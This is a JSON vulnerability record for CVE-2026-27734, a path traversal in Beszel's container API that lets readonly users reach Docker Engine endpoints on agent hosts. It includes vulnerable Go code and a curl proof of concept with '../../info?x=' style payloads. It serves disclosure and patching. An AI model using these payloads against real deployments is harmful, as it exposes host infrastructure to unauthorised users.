{"id":"CVE-2026-27734","aliases":["CVE-2026-27734","GHSA-phwh-4f42-gwf3","GO-2026-4571"],"related":[],"kind":"vulnerability","state":"published","title":"Beszel Vulnerable to Docker API Path Traversal via Unsanitized Container ID","summary":"Beszel is a server monitoring platform. Prior to version 0.18.2, the hub's authenticated API endpoints GET /api/beszel/containers/logs and GET /api/beszel/containers/info pass the user-supplied \"container\" query parameter to the agent without validation. The agent constructs Docker Engine API URLs using fmt.Sprintf with the raw value instead of url.PathEscape(). Since Go's http.Client does not sanitize `../` sequences from URL paths sent over unix sockets, an authenticated user (including readonly role) can traverse to arbitrary Docker API endpoints on agent hosts, exposing sensitive infrastructure details. Version 0.18.4 fixes the issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Beszel is a server monitoring platform. Prior to version 0.18.2, the hub's authenticated API endpoints GET /api/beszel/containers/logs and GET /api/beszel/containers/info pass the user-supplied \"container\" query parameter to the agent without validation. The agent constructs Docker Engine API URLs using fmt.Sprintf with the raw value instead of url.PathEscape(). Since Go's http.Client does not sanitize `../` sequences from URL paths sent over unix sockets, an authenticated user (including readonly role) can traverse to arbitrary Docker API endpoints on agent hosts, exposing sensitive infrastructure details. Version 0.18.4 fixes the issue.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nThe hub's authenticated API endpoints GET /api/beszel/containers/logs and GET /api/beszel/containers/info pass the user-supplied \"container\" query parameter to the agent without validation. The agent constructs Docker Engine API URLs using fmt.Sprintf with the raw value instead of url.PathEscape(). Since Go's http.Client does not sanitize ../ sequences from URL paths sent over unix sockets, an authenticated user (including readonly role) can traverse to arbitrary Docker API endpoints on agent hosts, exposing sensitive infrastructure details.\n\n### Details\n\n**Hub** (internal/hub/hub.go:407-426): `containerID` from query param is only checked for emptiness, no format validation:\n```go\ncontainerID := e.Request.URL.Query().Get(\"container\")\nif systemID == \"\" || containerID == \"\" { ... }\ndata, err := fetchFunc(system, containerID)  // passed directly to agent\n```\n\n**Agent** (agent/docker.go:651-652 and 682-683): raw containerID interpolated into Docker API URL:\n```go\nendpoint := fmt.Sprintf(\"http://localhost/containers/%s/json\", containerID)\nendpoint := fmt.Sprintf(\"http://localhost/containers/%s/logs?stdout=1&stderr=1&tail=%d\", containerID, dockerLogsTail)\n```\n\nGo's http.Client preserves `../` in paths over unix sockets (verified with test code). The Docker daemon resolves them via cleanPath, routing the request to unintended API endpoints.\n\n### PoC\n\nTested on Beszel v0.18.3 with hub and agent running in Docker (host network mode).\n```bash\n# Authenticate\nTOKEN=$(curl -s -X POST \"http://localhost:8090/api/collections/users/auth-with-password\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"identity\":\"user@example.com\",\"password\":\"password\"}' | jq -r '.token')\n\nSYSTEM=\"<system_id>\"\n\n# Path traversal: Docker version (returns full engine version, kernel, Go version)\ncurl -s \"http://localhost:8090/api/beszel/containers/info?system=$SYSTEM&container=../../version?x=\" \\\n  -H \"Authorization: Bearer $TOKEN\"\n\n# Path traversal: Docker system info (returns hostname, OS, container count, network config)\ncurl -s \"http://localhost:8090/api/beszel/containers/info?system=$SYSTEM&container=../../info?x=\" \\\n  -H \"Authorization: Bearer $TOKEN\"\n\n# Path traversal: List all images (triggers unmarshal error confirming traversal works)\ncurl -s \"http://localhost:8090/api/beszel/containers/info?system=$SYSTEM&container=../images/json?x=\" \\\n  -H \"Authorization: Bearer $TOKEN\"\n```\n\nAll three requests returned real data from the Docker Engine API on the agent host.\n\n### Impact\n\nAny authenticated user (including readonly role) can read arbitrary Docker Engine API GET endpoints on all connected agent hosts. Exposed information includes: hostname, OS version, kernel version, Docker version, container inventory, image list, network topology, storage driver configuration, and security options. This is a privilege escalation, readonly users should not have access to host-level infrastructure details.\n\n## Researcher\n\nSergio Cabrera\nhttps://www.linkedin.com/in/sergio-cabrera-878766239/","format":"markdown","source":"ghsa"},{"lang":"en","text":"Beszel: Docker API has a Path Traversal Vulnerability via Unsanitized Container ID in github.com/henrygd/beszel","format":"markdown","source":"go"},{"lang":"es","text":"Beszel es una plataforma de monitorización de servidores. Antes de la versión 0.18.2, los endpoints autenticados de la API del hub GET /api/beszel/containers/logs y GET /api/beszel/containers/info pasaban el parámetro de consulta 'container' proporcionado por el usuario al agente sin validación. El agente construye URLs de la API de Docker Engine usando fmt.Sprintf con el valor sin procesar en lugar de url.PathEscape(). Dado que el http.Client de Go no sanitiza las secuencias '../' de las rutas URL enviadas a través de sockets Unix, un usuario autenticado (incluido el rol de solo lectura) puede acceder a endpoints arbitrarios de la API de Docker en los hosts del agente, exponiendo detalles sensibles de la infraestructura. La versión 0.18.4 corrige el problema.","source":"nvd"}],"published":"2026-02-27T19:41:30.418Z","modified":"2026-06-17T10:27:34.413Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","score":6.5,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","score":6.5,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","score":6.5,"rating":"MEDIUM"}],"cwes":["CWE-22"],"affected":[{"ranges":[{"version":"< 0.18.4","status":"affected"}],"vendor":"henrygd","product":"beszel","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.18.4"}],"ecosystem":"Go","package":"github.com/henrygd/beszel","purl":"pkg:golang/github.com/henrygd/beszel","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.18.4"}],"ecosystem":"Go","package":"github.com/henrygd/beszel","purl":"pkg:golang/github.com/henrygd/beszel","source":"go"},{"ranges":[{"status":"affected","fixed":"0.18.2"}],"vendor":"beszel","product":"beszel","cpe":"cpe:2.3:a:beszel:beszel:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/henrygd/beszel/security/advisories/GHSA-phwh-4f42-gwf3","tags":["advisory","exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/henrygd/beszel/releases/tag/v0.18.4","tags":["product","release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-27734","tags":["advisory"],"sources":["ghsa","go"]},{"url":"https://github.com/henrygd/beszel/commit/311095cfddda113863ca9656cf9e99411be1cef5","tags":["fix","web"],"sources":["ghsa","go"]},{"url":"https://github.com/henrygd/beszel","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"no","technicalImpact":"partial","date":"2026-03-02T12:51:38.292Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-27734","url":"https://www.cve.org/CVERecord?id=CVE-2026-27734","licence":"CVE Terms of Use","modified":"2026-03-02T12:52:19.071Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-phwh-4f42-gwf3","url":"https://github.com/advisories/GHSA-phwh-4f42-gwf3","licence":"CC-BY-4.0","modified":"2026-03-23T04:56:15.407Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-4571","url":"https://pkg.go.dev/vuln/GO-2026-4571","licence":"CC-BY-4.0","modified":"2026-03-23T04:52:45.146Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-27734","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-27734","licence":"Public domain","modified":"2026-06-17T10:27:34.413Z"}],"updatedAt":"2026-11-25T22:59:15.039Z","epss":{"score":0.00537,"percentile":0.46692,"date":"2026-12-01T12:00:22.000Z"}}